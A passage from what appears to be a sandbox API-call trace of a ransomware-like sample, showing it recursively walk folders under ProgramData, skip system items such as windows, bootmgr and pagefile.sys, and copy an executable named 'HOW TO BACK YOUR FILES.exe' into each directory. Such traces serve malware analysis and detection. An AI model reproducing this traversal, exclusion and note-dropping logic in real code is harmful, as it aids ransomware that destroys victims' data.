	[0051.266] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.266] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.266] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.266] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.266] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0051.266] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Assistance", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance"
	[0051.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bde88 | out: hHeap=0x580000) returned 1
	[0051.266] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0051.266] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance") returned 35
	[0051.266] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Assistance" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance"
	[0051.266] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.266] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.267] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.267] GetLastError () returned 0x0
	[0051.267] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.267] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.267] CloseHandle (hObject=0x15c) returned 1
	[0051.267] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.267] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.267] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.267] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.267] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.267] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.267] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.267] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.267] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0051.267] lstrcmpiW (lpString1="Client", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.267] lstrcmpiW (lpString1="Client", lpString2="Apollon865.txt.exe") returned 1
	[0051.267] lstrcmpiW (lpString1="Client", lpString2=".") returned 1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="..") returned 1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="windows") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="bootmgr") returned 1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="temp") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="pagefile.sys") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="boot") returned 1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="ids.txt") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="ntuser.dat") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="perflogs") returned -1
	[0051.268] lstrcmpiW (lpString1="Client", lpString2="MSBuild") returned -1
	[0051.268] lstrlenW (lpString="Client") returned 6
	[0051.268] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\*") returned 37
	[0051.268] lstrcpyW (in: lpString1=0x2d3e598, lpString2="Client" | out: lpString1="Client") returned="Client"
	[0051.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0051.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0051.268] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0051.268] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.268] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.268] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.268] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.268] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0051.268] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client"
	[0051.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0051.268] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0051.268] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned 42
	[0051.268] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client"
	[0051.268] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.268] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.269] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.269] GetLastError () returned 0x0
	[0051.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.269] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.269] CloseHandle (hObject=0x15c) returned 1
	[0051.269] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.269] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.269] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.269] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.269] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.269] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.269] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.269] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.270] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.270] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.270] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.270] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="Apollon865.txt.exe") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2=".") returned 1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="..") returned 1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="windows") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="bootmgr") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="temp") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="pagefile.sys") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="boot") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="ids.txt") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="ntuser.dat") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="perflogs") returned -1
	[0051.270] lstrcmpiW (lpString1="1.0", lpString2="MSBuild") returned -1
	[0051.270] lstrlenW (lpString="1.0") returned 3
	[0051.270] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*") returned 44
	[0051.270] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="1.0" | out: lpString1="1.0") returned="1.0"
	[0051.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0051.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0051.270] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0051.270] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.270] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.270] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.270] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.270] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0051.270] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0"
	[0051.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0051.271] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned 46
	[0051.271] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0"
	[0051.271] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.271] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.271] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.271] GetLastError () returned 0x0
	[0051.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.271] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.271] CloseHandle (hObject=0x15c) returned 1
	[0051.271] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.271] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.271] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.271] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.272] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.272] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.272] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.272] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.272] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.272] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.272] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.272] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0051.272] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0051.272] lstrlenW (lpString="en-US") returned 5
	[0051.272] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*") returned 48
	[0051.272] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0051.272] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a8a8
	[0051.272] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0051.272] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.272] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.272] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0051.272] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0051.273] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b79b0
	[0051.273] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0051.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.273] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0051.273] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 52
	[0051.273] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0051.273] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.273] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.273] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.273] GetLastError () returned 0x0
	[0051.273] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
